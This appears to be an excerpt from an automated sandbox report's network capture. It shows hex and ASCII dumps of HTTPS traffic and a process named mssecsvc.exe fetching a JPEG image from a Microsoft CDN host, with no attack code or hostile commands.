2022-07-21 02:34:44 UTC	5001	IN	Data Raw: 2a 43 89 20 9b 26 5c 86 34 67 56 73 4f a4 9f f1 68 84 21 40 fd 24 e9 56 de cd f3 1e 9c 05 aa 4f de 36 fe ae 8c 69 e9 1b 1f 6e 8b b6 81 83 31 3a 9e 93 ea 55 ac 7d ca b3 49 66 39 1d 35 ac 24 7a f5 38 f6 29 a7 f6 6b 5e 03 58 8a 09 a9 d2 dc 89 c9 89 d8 7d 43 fb 4e 9b 7a 77 0b fd 4d 5d 55 ed 78 d0 b9 14 ed 00 f7 57 de d2 db d0 10 33 13 cb 7d 7d 54 ca c1 78 b1 0b 76 66 b7 f6 2d 50 c3 2a 34 6a 83 bd 5a d7 41 6e f9 83 1c 43 8c 78 3c cd 70 fa a3 5e 5f fd c7 fd 8d 67 b7 66 46 80 c7 30 40 2b 5b 8a f3 01 f1 eb 7f e6 b1 77 49 28 c8 af 14 2c b1 ad c0 56 da da 39 bb dd ee 6e f6 b2 15 31 92 e5 49 51 a9 3f 87 ef 55 c6 3b 62 24 23 32 bc a1 57 c5 e2 fa 77 aa 33 27 32 95 48 fb 2b c7 eb d0 61 cb 9a 93 c7 5d 57 2b fd ba da b7 04 0f 8b 21 c7 90 f0 e0 6a 87 ec 3f 77 ef 6a 67 2f Data Ascii: C &\4gVsOh!@$VO6in1:U}If95$z8)k^X}CNzwM]UxW3}}Txvf-P4jZAnCx<p^_gfF0@+[wI(,V9n1IQ?U;b$#2Ww3'2H+a]W+!j?wjg/
2022-07-21 02:34:44 UTC	5008	IN	Data Raw: d8 3f f4 66 15 c6 7d cc c6 c4 ab c7 dd 46 e7 e8 8f ec 7c 59 53 fb 6d dc 10 dd 51 d4 06 cb 4c bc 54 2f ae 30 d2 30 72 e3 70 86 e5 b9 7e 93 ee fb da e4 79 b9 02 49 09 0d c4 9d 5f fa b7 72 39 ea ff 00 97 8d 99 9d 6d 8a 4a d0 0f 7d 50 f9 ad b6 ed 72 ac ac 2c 8d b6 56 c7 ca 16 ca 87 9b 8d 7f 59 7b da 8f 94 ed da 38 b0 94 da 45 ee 9e ac 68 13 34 4e f7 4b 30 ed b1 ed ad b3 48 c8 4b 57 b6 a0 68 17 6e 3d ba d7 23 96 f6 fb 75 8f 16 e1 ad e4 4c 68 25 14 dc db ea a2 f1 50 b3 0a 1a 13 ed d1 fb a6 31 11 45 18 37 33 b3 53 fa 80 fe f6 87 db e0 af d1 5a eb 76 f9 29 49 97 11 38 3c 6a 6b c7 cd cd c3 ec db a1 02 5a 70 17 d6 4d 2c a4 79 a0 2a e5 6d 58 d2 89 ed 80 18 23 6b 8f 8d 87 b4 8f 0a fb 9a d4 91 d4 f6 eb 18 56 a7 8e 8a 09 4a 1d 34 5b 1d 2f 4c 68 ba f6 56 71 02 c2 95 d1 Data Ascii: ?f}F\|YSmQLT/00rp~yI_r9mJ}Pr,VY{8Eh4NK0HKWhn=#uLh%P1E73SZv)I8<jkZpM,y*mX#kVJ4[/LhVq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	50549	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:44 UTC	217	OUT	GET /cms/api/am/imageFileData/RE4IzXJ?ver=8fd8 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-21 02:34:44 UTC	287	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4IzXJ?ver=8fd8 Last-Modified: Sat, 09 Jul 2022 19:50:14 GMT X-Source-Length: 924692 X-Datacenter: northeu X-ActivityId: e5f0e6cf-c5ad-475b-b216-10513b08a07a Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 924692 Cache-Control: public, max-age=235225 Expires: Sat, 23 Jul 2022 19:55:09 GMT Date: Thu, 21 Jul 2022 02:34:44 GMT Connection: close
2022-07-21 02:34:44 UTC	288	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-21 02:34:44 UTC	335	IN	Data Raw: 54 cf fd 8b 2d bf d9 bf d7 43 f2 47 ff 00 4c 7f b9 fe d5 57 d6 b4 88 6c 64 8e ea 2f 33 ec 9b 15 27 8e 3d 9b dd d7 ee 7c ff 00 dd 15 1c f0 e7 71 7a 76 0a 9c dc a7 3b a2 5a cd 35 8c 7a 7d bc 5e 5f f6 7c 2d 23 c7 6f bd de 7f a7 fb 4b d2 b7 74 bb e4 f1 05 b4 71 5b c7 1d be c4 59 df f7 9f ea 26 5f fd 07 e5 eb 4f d3 75 08 56 fb 52 7b 08 fe c5 e7 23 47 0d 9f 99 fc 7f de 5d bf 2a ae fa a5 7d 67 71 6b 7b 7b a6 d9 47 6f 6f a6 fc bf e9 92 49 f3 dd be cf 98 7f df 5d 56 ba 66 fd ac a5 7d 1e ff 00 e6 73 7c 3e e9 ab e1 8d 91 dc ea 52 c5 73 f6 8b 57 f9 d3 ec d2 7e 3f 7e a2 87 c2 d6 fa e6 9f 7c 7c b9 23 b1 8d 22 ff 00 47 93 ef a2 6f ec bf de ab 5a 0f d9 e1 b2 b9 5b 09 63 ff 00 46 f9 26 8f ee 27 ef 3e f3 7f df 34 d6 f2 7e d9 b1 e4 92 48 de 65 48 23 b7 ff 00 7f 6b f9 8d fd Data Ascii: T-CGLWld/3'=\|qzv;Z5z}^_\|-#oKtq[Y&_OuVR{#G]*}gqk{{GooI]Vf}s\|>RsW~?~\|\|#"GoZ[cF&'>4~HeH#k
2022-07-21 02:34:44 UTC	351	IN	Data Raw: 58 e2 d2 db 52 fb 65 f4 d7 5e 5b e9 76 f6 fe 4a 6c fb c9 e5 ef fe 17 f9 7e 95 df ea 3f f1 4e 49 15 d5 c4 7f bb 74 b5 ff 00 48 f3 13 f7 69 f4 ff 00 81 73 fe e5 52 ff 00 84 1e c5 7c 47 f6 8b ad 5e de 3b ab fd d0 3f da 64 44 48 ff 00 8b e4 fa 7f 7a b7 d2 3b 0f 14 db 49 6e d6 df 71 d5 e6 8e e2 3f e0 5f 94 b7 f9 fa d4 e2 b1 51 9f 2c ad 75 d5 d8 9e 5f 88 e6 e4 b3 bc 8b 5f b6 b7 fe d2 fb 66 87 f7 ed 6f 24 91 36 6f 6e 36 a6 ef f7 9a b5 6c 24 b9 9a 58 b4 d8 3c cd 3f 4d df fe b3 cc fb 88 df dc fa b2 d6 4e b1 ac 4d e1 fd 4f 4d ba fb 4c 7a 5e 9d b3 64 11 c9 b3 ef fc eb 1b 2a ff 00 0f cd fa d4 df 6e fb 0d cc 76 b7 52 dc 5e 6c fd fb ea 1e 67 c9 1b f5 d9 ff 00 7d 54 ce 32 94 54 bc b4 fe b6 b9 ad 39 44 ca f1 05 9e 9d 6b 1d 94 4b 73 ff 00 12 7d 9e 65 b4 9f 3e c8 ee 39 f9 Data Ascii: XRe^[vJl~?NItHisR\|G^;?dDHz;Inq?_Q,u__fo$6on6l$X<?MNMOMLz^d*nvR^lg}T2T9DkKs}e>9
2022-07-21 02:34:44 UTC	354	IN	Data Raw: d1 ac 79 b7 34 26 d5 67 d7 ae 34 db c6 93 cb 9e 6d b0 41 fb bd 9b d1 b6 3e cd ad fc 21 eb 2d 6d 2c 66 92 ca ea 48 ff 00 79 6d e5 22 59 c7 bd e1 82 5d fc 79 5b be fe ef 97 8f bb 5a fe 19 8d 23 bc 95 ee 3e cf 6f 6b 0e e4 f2 e4 8d 3c e9 25 5f 95 97 1c ff 00 7b ff 00 41 35 5d 34 ab 9d 52 49 2e a5 92 39 23 d3 5f fd 5c 77 1f 3e ff 00 bd b7 77 fc 06 b9 54 d5 29 38 ad 12 1f 2f f3 19 f7 3f be 8f 4c ba 6b 99 2d f4 77 77 d9 1f fb 7b ff 00 89 bf bb bb 9f bd 5a f6 c6 1d 07 c3 97 d1 7e ef fd 4e c7 b8 bd f9 de 4d df 77 fe 02 3e 6a cb b9 fe ce 9b 4d d1 2e 96 28 f6 43 ba 4f b3 db 7c e9 23 b3 e3 9e d1 fa 7a 35 4b a0 cd 15 fc 97 df 6d fd dc e9 7b ff 00 1e 77 32 22 7c 9b fc cd 84 f4 e5 bf de ab 9c 79 a1 7e 89 ea be 62 8f bb f0 9b 1a 5c f6 f7 fa 55 95 bb 49 1d c3 fd f4 bc b8 Data Ascii: y4&g4mA>!-m,fHym"Y]y[Z#>ok<%_{A5]4RI.9#_\w>wT)8/?Lk-ww{Z~NMw>jM.(CO\|#z5Km{w2"\|y~b\UI
2022-07-21 02:34:44 UTC	518	IN	Data Raw: dc 67 f9 65 fe 1f 9c ec cf 15 5d 75 59 ac e3 f3 56 28 ee 2e 9d 15 1f f8 3c f8 55 cf ef 57 67 f9 6a 3c 3f 6d 72 b6 f2 cb a9 79 72 c1 0f 9b 23 d9 fd ff 00 df 6f da 15 dc 7f 7b df ad 58 92 cd 2c 6d fe db f6 9f 2d 26 83 cc f2 e3 8f e7 8f e7 f9 36 7d 3b 9f c6 b6 f7 62 f9 65 a9 cc 52 d0 cb f8 83 41 b9 f2 ae 63 ff 00 5c de 77 99 fb 98 67 f5 5e 69 fe 1b 99 a1 f1 16 ad 2d ec 97 17 89 33 ac 16 56 f1 ef d8 90 ec f9 87 cd f7 3e 6f ba 6a 1d 0f 4b b8 b8 b2 f2 af 25 fb 3e c7 59 d2 de 3f 9f cc 45 7f bd 27 f7 31 fc aa de b4 d1 4d a9 79 ab 1d c7 db a1 dd be 48 ff 00 d4 c9 e5 ef f9 7f de ef bc 7f 0d 5c ad 79 d3 8e cc 7e f7 29 bf 67 34 36 7a 97 db 7f 77 1f da 9d 51 24 fe 38 d3 fd 96 fb d5 4a 6b 67 d4 23 97 74 71 db c0 9b a7 4b 7f f6 3f bd ff 00 d6 ff 00 7a a0 f1 56 a3 f6 cf Data Ascii: ge]uYV(.<UWgj<?mryr#o{X,m-&6};beRAc\wg^i-3V>ojK%>Y?E'1MyH\y~)g46zwQ$8Jkg#tqK?zV
2022-07-21 02:34:44 UTC	566	IN	Data Raw: b9 b7 cc 66 ff 00 7a b4 c4 bb a8 f5 11 ca c3 79 78 d7 1f 60 d3 64 92 38 2f 11 9d 24 fb f3 48 8d f7 7c bf f0 ae c2 ce c5 2f bc 2f e5 43 1c 7a 84 e9 ba 44 ff 00 48 d8 9b e3 47 ce ff 00 f8 0f 15 cd 2e ab 73 6b 6f e6 e9 b6 d1 c7 3c 3b a0 82 4f 2f c9 f2 26 6e ec 7f bf df d9 aa ef c3 9b 18 a1 d3 77 c5 73 f2 4c fe 7a 47 e5 bf f1 67 d7 fd 9f 9a a7 11 fc 3f 68 b4 b3 fb fd 42 22 68 ad 67 27 86 e3 d4 af 75 28 f5 4b ef 3b f7 3a 5d be f7 9a 0d c8 76 ff 00 fb 4c d8 a8 2f 22 79 b5 2b 29 d2 5f b3 df 4c 8a ef 71 1d ba 79 db f6 1f bb db e5 ff 00 3c 53 2c 37 d8 7e fd ee 6d fc c7 9d 5e 69 3f 3f f3 fe cd 4a 2d 62 bf ba bd 5b df f4 74 86 cb cf 79 3f 82 34 93 fd af 6f e1 c5 5d ed 27 25 b0 10 4d 0d be 8f a8 79 5f f1 f1 74 ef f6 a9 e4 92 4d 88 f2 aa 7f aa db fe eb 57 65 6f a8 a6 Data Ascii: fzyx`d8/$H\|//CzDHG.sko<;O/&nwsLzGg?hB"hg'u(K;:]vL/"y+)_Lqy<S,7~m^i??J-b[ty?4o]'%My_tMWeo
2022-07-21 02:34:44 UTC	590	IN	Data Raw: 1d be eb 2f f7 7d 31 f8 d6 dc 36 3f f1 28 bd b7 8a f6 39 12 14 8a 04 f2 e3 df f2 2f de 47 7f fe 27 f5 ac ff 00 16 6a e9 a5 eb 31 db d9 7d a2 f3 ce 87 cb fb 3c 76 ff 00 b9 9f 6b e7 cd de be bd 17 9a d3 f0 fe a5 6f a3 c9 2c 4f 27 df 82 58 3e cf e6 7c fe 77 ee f7 2f f7 91 6b 9a a7 b4 74 e3 2f 9a 2a 9c 7e cf de 73 f0 5c 43 f6 eb 99 62 92 4b 79 34 f7 89 26 8f f8 36 37 cb e7 6e fe 25 ff 00 c7 6a ff 00 8c 2e 22 9b 5b b6 96 ea f6 4f 3e f7 6d f7 da 3e 44 7d 92 7c bf f2 cf ff 00 41 aa 7a 3d bd 9e 8b ad 5b 59 5a c7 27 9f 79 34 5e 7c 92 5c 6c fd ce ff 00 31 b6 7f b2 bd f7 7d 28 d4 e1 b4 93 56 f2 6e 3c c8 e3 fd ea 3d c5 c7 f7 d7 ef 2a 30 fe 1f ee e7 ee fe 35 d7 68 fb 58 c9 6d 63 48 fc 3e e9 9f f0 ef 55 9a d3 c4 97 af 69 a9 7e f2 fe 6b 7d 91 f9 6e 9f 3e cf b9 b7 fd de Data Ascii: /}16?(9/G'j1}<vko,O'X>\|w/kt/~s\CbKy4&67n%j."[O>m>D}\|Az=[YZ'y4^\|\l1}(Vn<=05hXmcH>Ui~k}n>
2022-07-21 02:34:44 UTC	614	IN	Data Raw: c7 9f fe ef fb d5 d5 db c3 f6 5f b3 4b 2f 97 f6 e9 a7 64 82 e3 ef fe eb fb bf 8f 5f ef 56 7d c4 7f 6c b8 92 f7 cc 92 de 04 d9 b3 fe fb d8 cf bf a7 0b b9 7c ba f7 29 54 51 8f 27 e2 70 48 e9 74 99 90 78 5e da fd 24 f3 24 93 fd 45 bf d9 f7 f9 9f 3a 7c cb ff 00 01 e9 cf 15 cd 78 82 c6 ed b5 68 96 de 58 ed d1 de 27 9a e2 4d 9b 1d 1b ef 87 1e fd ea f6 9b 63 73 69 6d 15 94 52 c7 24 09 37 9e 92 59 47 bd 20 85 9f 3f 7b ab 31 ee 7e f7 a5 3b c4 96 69 f6 7b 6d 4a ca 3f 32 68 51 be cd 6f 27 cf 33 a2 a6 5b 77 f7 bf 9d 72 53 fd d5 6d 3a b6 6d 29 73 44 b1 79 37 fa 14 ba 6d ad b5 c5 b4 fb 3f 71 1f f1 ef fb c3 fe fa f5 ae 2f c2 16 77 7f 67 bd b2 b8 f3 2d ef ac ee 9b cc 92 4d 89 bd 38 68 b9 6f bc bd bf f1 e3 5d 26 a1 1f f6 d6 9b 73 71 6f 2f ee d2 05 9d ff 00 83 e7 6d 9f 26 Data Ascii: _K/d_V}l\|)TQ'pHtx^$$E:\|xhX'McsimR$7YG ?{1~;i{mJ?2hQo'3[wrSm:m)sDy7m?q/wg-M8ho]&sqo/m&
2022-07-21 02:34:44 UTC	630	IN	Data Raw: 27 de 76 f5 1f e3 59 5e 1c b8 9a 68 fe cb 2f 97 ff 00 1f 5b 13 f8 12 3f 2f b6 df e1 fe a6 b5 2f 11 21 b8 b6 b0 49 3e 77 82 27 9b cb 8d ff 00 79 fc 3f e7 f3 aa 1e 1f bb 96 6f 11 c9 6f 3c 7e 5e 94 88 df bb 8f fb 91 bf f1 f4 fb db 7f ef 9a a8 eb 4e 5d ba 01 b1 e6 fd b2 e6 44 bd 8f ed 0e 93 f9 1f bc 93 62 46 ed bf a7 75 fe f6 ea 89 e5 7b 1b 7d 5a e8 4b f6 88 21 45 77 bc 8e 3f 25 1f 6a 7d 77 37 e6 28 87 7a 68 b7 aa d1 47 24 08 fe 64 3f 67 fb e8 9c 7f 11 fe 24 56 e2 b3 f5 a5 99 6c a5 ff 00 4d 92 de d1 f6 cf e6 7d fd fb 70 b8 df f7 77 15 5f f7 ab 28 45 4a 5c bd 3f e1 88 94 b9 46 35 c4 3a 6d b4 93 d8 79 96 f7 df 66 ff 00 8f 7f 2f 62 6f 6f bb f3 7b b3 56 54 3a 6f 93 2d 8b ac 9f d9 6f 79 fb ff 00 b6 49 1e ff 00 33 fe 7a 03 bf f4 ed 57 5b 57 b3 9b 11 3c 52 5c 79 3f Data Ascii: 'vY^h/[?//!I>w'y?oo<~^N]DbFu{}ZK!Ew?%j}w7(zhG$d?g$VlM}pw_(EJ\?F5:myf/boo{VT:o-oyI3zW[W<R\y?
2022-07-21 02:34:44 UTC	821	IN	Data Raw: 7f d9 ee 3f d7 47 fc 25 b6 9f e0 fc 7f 0a ad aa 43 0e b5 e2 09 16 d2 e7 cc d3 66 4f 32 39 3e fb c7 bb f8 69 53 e6 54 fd e7 a3 36 f6 66 8f 8b 34 74 bc f0 c4 96 f6 ba 94 9e 7d 84 1f 6e fb 47 f1 c8 eb d1 7f d9 f9 77 6e ae 53 41 f3 9f 52 fb 46 a1 27 97 75 73 ba 74 8e 4f 9f f7 4b 8f bb 8c 6d ca fd d3 f9 d7 57 7d 71 f6 7f bd 6d e5 c0 8e bb 2e 24 8d f7 c9 f2 7f 04 7f f0 1e 9f ed d7 1f 71 70 9f 6d 96 e1 23 bc 8d d2 18 bc 88 fc cd 8f f3 4b fc 5d 7a 56 98 6e 69 52 95 39 7f 57 31 a9 cb cc 6c 6a 57 df da b6 da 6a bc be 62 5c bc ae fe 5f df 81 36 6d ff 00 bf 75 98 c8 96 36 52 bf d9 ed f6 5b 22 ec fe e6 f6 7e a3 69 fe 16 ae 87 54 86 19 ac bc f9 64 fb 35 aa 69 fb de de 38 d3 7c ee c9 b0 4b b5 79 fc ab 9e b8 7b 8b 3b 3d ef 24 9a 7b cc 92 ef bc b8 8d 36 23 aa 6f 47 db fd Data Ascii: ?G%CfO29>iST6f4t}nGwnSARF'ustOKmW}qm.$qpm#K]zVniR9W1ljWjb\_6mu6R["~iTd5i8\|Ky{;=${6#oG
2022-07-21 02:34:44 UTC	901	IN	Data Raw: ee 7f 97 d6 aa 8c 79 b4 8f a8 7d a2 2b 87 86 f3 51 b8 b2 b0 f3 24 bb b9 dd 3c d7 11 c9 f3 a6 df f5 6b f3 7c ab f2 ae ea e8 f4 db e9 85 b6 9b 71 6b 6d 1f 91 0a 79 70 dc 49 bf ce 9d f6 7f 45 ed f9 66 b2 74 7b 3f ec bb 8f b3 c5 f6 8f 32 4f dd dd 49 27 cf bd e4 74 56 65 ff 00 68 77 ad 3b 6f 26 df cc 47 92 49 1d e1 6f b2 db db c7 bd fe 67 f9 76 7f 75 77 75 aa ae e3 2f 76 3a a2 cd 2d 4a cd fc cf b5 24 b1 f9 e8 9e 7b c9 71 f7 23 7f e2 ff 00 80 d7 3b aa ef 8a c6 da 29 7f d2 6e 93 6a 41 1c 72 6c 49 fc cf d7 6f f7 bf dd ab da c6 b0 fa 5e 8b a6 da cf ff 00 1e b7 9f 22 7d 9f 63 ff 00 18 60 ab fd ea a3 75 67 34 36 36 de 6f 99 1b fc d3 f9 72 49 be 6d 9c ed 46 dd fc 47 bd 63 42 12 82 52 97 7d 0c 64 57 f0 7d e2 6a 9a 95 ce 8a f2 49 18 49 f7 f9 9f 26 f7 f9 3f 8b 8d af f3 Data Ascii: y}+Q$<k\|qkmypIEft{?2OI'tVehw;o&GIogvuwu/v:-J${q#;)njArlIo^"}c`ug466orImFGcBR}dW}jII&?
2022-07-21 02:34:44 UTC	933	IN	Data Raw: 71 11 5e d2 d1 d6 3e 5e 47 5c 7d df 88 f3 5f 19 5a cf 7f e1 7d 25 ff 00 d5 a5 f9 7f b1 5a 49 24 56 d6 ce 9b f1 9f 27 19 fc 3f 87 a7 f1 57 59 a6 a5 cd 9e 9b 6d a5 a5 cd c4 77 76 a8 c9 f6 cd 3b e4 48 13 67 4f ef 6f fe 15 ae 6b 4d 7b f4 f1 64 b3 ea ff 00 bc 82 37 57 b5 fd e2 25 b7 dc fb aa cf f7 bf 82 4a ea ed af 3f b5 34 fb 94 bf b9 92 f2 4f 25 bf 79 1f fb 38 65 64 1f c4 df 2f e1 5e 96 26 52 8c 61 4f 46 b7 fb ff 00 c8 e7 f7 65 2e 68 98 f7 9a 55 b3 c5 f2 4b 71 6f 06 f5 fb 55 c4 72 6f 7f 37 67 cd c2 fe 4d 9f 97 b5 24 d0 a4 d7 11 cd 2f fa 35 be c6 74 b7 b6 fe e2 fc bb fb 7f 7a 99 73 a5 5f db e8 b6 d2 c1 fe b3 ef a4 71 c8 9b 24 46 ff 00 d9 be ee 6b 7b 54 b3 86 c7 c3 76 3a 6d 85 b5 bd ce a5 fe ad 24 92 4f dc ef de 8d b5 07 1b 5b 77 de 3f 76 b1 95 4b 72 c6 f7 bb Data Ascii: q^>^G\}_Z}%ZI$V'?WYmwv;HgOokM{d7W%J?4O%y8ed/^&RaOFe.hUKqoUro7gM$/5tzs_q$Fk{Tv:m$O[w?vKr
2022-07-21 02:34:44 UTC	948	IN	Data Raw: 1f 26 b3 65 17 da 2e df f7 37 51 c7 f2 3d a4 5b fc bd de 8b 30 dd bb 8a ea 61 4b 69 bc 4f 63 a5 59 5b c9 a8 fc 92 bf da 24 f9 13 ce fe e2 7f 79 4b 33 7b 2d 71 57 8a 55 25 3a 6b 4d bf f0 13 b2 9f bd 1e 59 6e 73 9e 01 8e ff 00 44 f1 46 d8 7c bb 77 fd ef 93 1c 9b 3f 79 16 fd dc e3 f8 b6 b7 15 07 8b 75 7b 4b 8b e9 2c bc cb 8b 84 df f2 5e 79 9f 24 9b bf 85 bf fb 3e 2b 4f 58 58 ad f5 fd 37 4d ba d4 a3 b3 d4 6f 36 ec fd e6 f7 8d 17 fd 95 f9 7f cf 15 99 e2 1b 84 d4 2c e4 f2 ad ae 2c f4 d7 91 61 48 e4 d8 9f ec 3f 5f ba df cb d2 b5 8f ef 2a 46 b4 96 e8 89 7c 3c bd 87 d8 42 fe 10 92 d9 35 29 3c cb 5d 41 36 43 1c 7f 3b ec ea bf 2a ff 00 85 6f c3 66 9e 23 d3 6e 63 ff 00 48 b8 81 ed 7f e3 f2 3f ee 77 5f f6 ab 17 5d d4 2e 75 ad 16 e6 d5 22 fb 4c f7 2f 13 bd bd bc 9b 36 Data Ascii: &e.7Q=[0aKiOcY[$yK3{-qWU%:kMYnsDF\|w?yu{K,^y$>+OXX7Mo6,,aH?_F\|<B5)<]A6C;of#ncH?w_].u"L/6
2022-07-21 02:34:44 UTC	1012	IN	Data Raw: cc 93 fe 5b ca c9 b9 3f dd fa 53 ef 1b 7c 72 5c 45 fb bd 4a e5 13 ec b6 72 7e e7 cb 48 be ff 00 3f c1 96 fb b8 ff 00 66 ab 4d a9 25 9d cd cc cf 6d 1c 8f f3 7f a3 ff 00 d3 5f e2 f5 fe 26 dd f9 d4 1f da 46 c7 fb 6a e2 de 49 2c ef 91 fc f7 93 cc 4f 93 cc d9 f2 fc df 7f ee d7 a9 4e 2e da 23 9f 98 da d1 f5 57 b1 d0 3c 94 96 de ce 47 ba ff 00 4a b7 93 e4 9e 77 df fc 3f 28 db f9 7e 06 b0 bc 6b 79 a7 58 db db 5e 2f 99 70 96 db 93 f7 7f c0 ff 00 f2 d1 db fd de df 9d 54 fb 37 fc 54 92 cb 75 6d 26 9f 02 3a ce 92 49 26 cf 9d 93 f7 9f ef 2a ee f7 aa e8 bf 6c d4 6f 6e af 65 f9 fc e5 81 23 8e 3f 9f e6 4e eb d3 6e dd bf ed 57 45 3a 11 8d 4f 69 f3 7f 32 25 29 72 c4 ed ff 00 b7 7f e1 26 d1 65 78 a5 92 f1 1e 16 93 ed 11 ff 00 cb 47 5f ca b9 d8 f5 ab eb 8d 16 5b d5 f2 ed d1 Data Ascii: [?S\|r\EJr~H?fM%m_&FjI,ON.#W<GJw?(~kyX^/pT7Tum&:I&*lone#?NnWE:Oi2%)r&exG_[
2022-07-21 02:34:44 UTC	1028	IN	Data Raw: 65 6d 4b 45 9b 5d 96 db cd 8f ee 7e fe 0b 7b 6f 9f cb 45 ff 00 59 f9 af 5e 2b ab d3 6e 12 f2 f2 da 5b 49 64 b8 83 c8 64 f3 23 de 8f 06 de 7e 6f ad 73 fa ae c4 8e e6 cd 63 8f ec 3f 65 de 97 1e 63 ec ff 00 5b f8 b3 56 97 82 76 25 cd b5 bc 52 47 e6 3a 36 f9 3f e7 bf fb 2b fe cf cb d4 0a ce b7 34 a8 f3 76 d8 22 5e bf bc 4b 0d 27 ed fe 54 7e 5c cf fb ef 32 4d 9f 27 50 aa ff 00 ef 57 30 ba c3 df 49 65 2c bf e8 71 cd fe 94 9f bb ff 00 5f 33 7c 8c 5a 33 f7 19 7e ea fd ea eb fc 49 62 97 da 6e a3 15 9c 9f 63 92 da 66 47 fe 3f bc 98 65 3f ee d7 23 e2 8b ab 3f 08 e9 1a 6e a2 f7 37 17 97 76 07 c8 d2 f4 fb 7b 7d ef 76 cc e1 8b f9 99 fb bf dd db fc 54 60 b9 67 ee 25 ef 3d 0a e5 94 bd 0d 89 a1 be fb 0d f4 5e 64 91 ce f0 ef fb 3f 97 fd ef bc d8 6f 4f 7f bb 53 59 ea 51 5a Data Ascii: emKE]~{oEY^+n[Idd#~osc?ec[Vv%RG:6?+4v"^K'T~\2M'PW0Ie,q_3\|Z3~IbncfG?e?#?n7v{}vT`g%=^d?oOSYQZ
2022-07-21 02:34:44 UTC	1107	IN	Data Raw: 4b b0 9b c4 91 d9 c5 1c 71 c0 9b 9e 69 3f 82 4f f6 3e 4f 95 b3 5a c9 5a 9d 48 56 8f 9a b0 a3 f1 46 51 d8 d2 f1 07 87 21 86 f6 3b 8b af 33 ec 9e 4e c7 fe 07 93 fd 8f f7 7e 5a 7e 89 76 91 f9 8f 61 6d f6 8f ec f7 d8 f1 f9 7b fc c9 95 f6 a3 32 a1 fb a6 3d bc f4 ad 5d 7b ec f7 f6 d7 37 09 71 6f fb e7 89 13 f8 12 3f 33 e6 54 09 fe ee ff 00 fc 7a a9 78 56 d6 1b 39 2f 9f fd 5c 1f 65 6b a9 bc bf b9 23 fd dd bb 3e f6 c1 ff 00 ea ae 25 53 9a 8b e6 e9 d0 d2 51 e5 a9 ee 96 35 eb 68 6f ec a5 69 63 92 df 7a 2f 9f 1c 72 7f a8 da ff 00 29 f9 3f 87 d7 fe 03 51 35 dc da 5e b3 a4 e9 ba 6f fa 6c 17 90 fc f6 f2 49 b1 20 db eb df 71 5e bf c3 57 75 6d 2d e1 b5 fb 66 af e6 45 7d 6d 6a 96 af 27 98 e9 e6 5b b2 7d ef fb e3 6f f7 ab 03 e1 d5 e5 c3 dc de c5 75 fe 8f 7d 0f c8 97 12 7f Data Ascii: Kqi?O>OZZHVFQ!;3N~Z~vam{2=]{7qo?3TzxV9/\ek#>%SQ5hoicz/r)?Q5^olI q^Wum-fE}mj'[}ou}
2022-07-21 02:34:44 UTC	1155	IN	Data Raw: 35 18 6c b7 c1 71 e6 6f fb bf 7b 66 df e1 ff 00 ec b1 55 6c e5 7d 53 ec d6 bf 66 92 48 f6 79 1e 5c 71 fc f1 cb 27 ce 57 67 5e 57 e6 57 fe ef bd 65 09 38 ae 68 f9 13 28 94 ec f5 59 22 8e db 6d b5 bd bb c3 6a b6 af 6f 6f b1 1d 13 b7 a7 57 fb c3 fa d4 9a 86 a1 6d a0 e8 b1 5f 42 64 b7 d5 6e 51 60 ba b7 93 e7 49 dd 5f f7 3b 37 7d c7 0d c7 fc 02 ab e8 77 fe 5e a5 65 a4 5a e9 b6 fa cc 3b da 77 92 e2 e3 fd 16 44 6d ea d2 3f f9 fe ed 67 cd a7 c9 e2 0d 37 52 d5 57 56 8e 4f df b5 ab e9 f6 fb dd f7 b6 c4 f3 19 1d 5e 46 fb 9f eb 3f 85 b9 e2 ba d5 25 29 de 7a 2f cc cf 9b dd f7 77 3a 2b c9 26 b8 8f 52 b0 ba 8a df ed 53 6d 9d fe cd f3 a6 f8 f1 f2 a7 1d f6 bf c8 c6 b2 6d af 2c f5 4d 5a f6 e2 f6 ca e2 de d1 3c a4 93 ec df 7f c9 ea db 77 70 bf ec 8a 8b 45 d4 a2 d5 2d a4 89 Data Ascii: 5lqo{fUl}SfHy\q'Wg^WWe8h(Y"mjooWm_BdnQ`I_;7}w^eZ;wDm?g7RWVO^F?%)z/w:+&RSmm,MZ<wpE-
